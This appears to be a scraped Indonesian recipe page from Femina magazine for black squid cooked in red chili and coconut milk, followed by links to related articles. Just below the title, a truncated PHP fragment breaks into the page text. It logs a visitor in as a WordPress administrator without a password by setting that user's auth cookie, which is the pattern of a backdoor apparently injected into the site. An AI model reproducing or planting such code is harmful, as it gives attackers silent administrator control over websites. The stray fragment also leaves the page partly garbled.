Cumi Hitam Cabai Merah, Makin Pedas Makin Enak!

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Ikan & Seafood

13 Feb 2023

Dok.Shutterstock

CUMI HITAM CABAI MERAH

Tinta hitam pada cumi yang seringkali dibuang justru memberi warna gelap memikat dan sentuhan gurih.

Untuk 4 porsi

3 sdm minyak sayur
5 cm jahe, bakar, memarkan
2 cm lengkuas, bakar, memarkan
1 batang serai, memarkan
5 lembar daun jeruk
2 lembar daun salam
100 ml santan encer
3 buah cabai rawit merah, iris-iris
750 g cumi kecil, buang tinta lunaknya, sisakan tinta hitamnya
Garam, secukupnya

Gula pasir, secukupnya
Merica putih, secukupnya
Bumbu, haluskan:
7 cabai keriting merah
6 siung bawang putih
6 siung bawang merah
6 cabai rawit merah

1/ Panaskan minyak, tumis bumbu halus, jahe, lengkuas, serai, daun jeruk, dan daun salam hingga harum.

2/ Masukkan santan dan cabai, aduk rata.

3/ Masukkan cumi beserta tintanya. Masak hingga tinta melebur dan bumbu meresap.

4/ Masukkan garam, gula, dan merica, cicip hingga rasanya sesuai. Sajikan hangat. (f)

Trifitria Nuragustina

Tak Cuma Hummus dan Falafel, Ini 8 Sarapan Khas Palestina Lainnya

Upaya Berkebun di Rumah untuk Dukung Konsumsi Berkelanjutan dalam Indonesian Women's Forum 2023

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id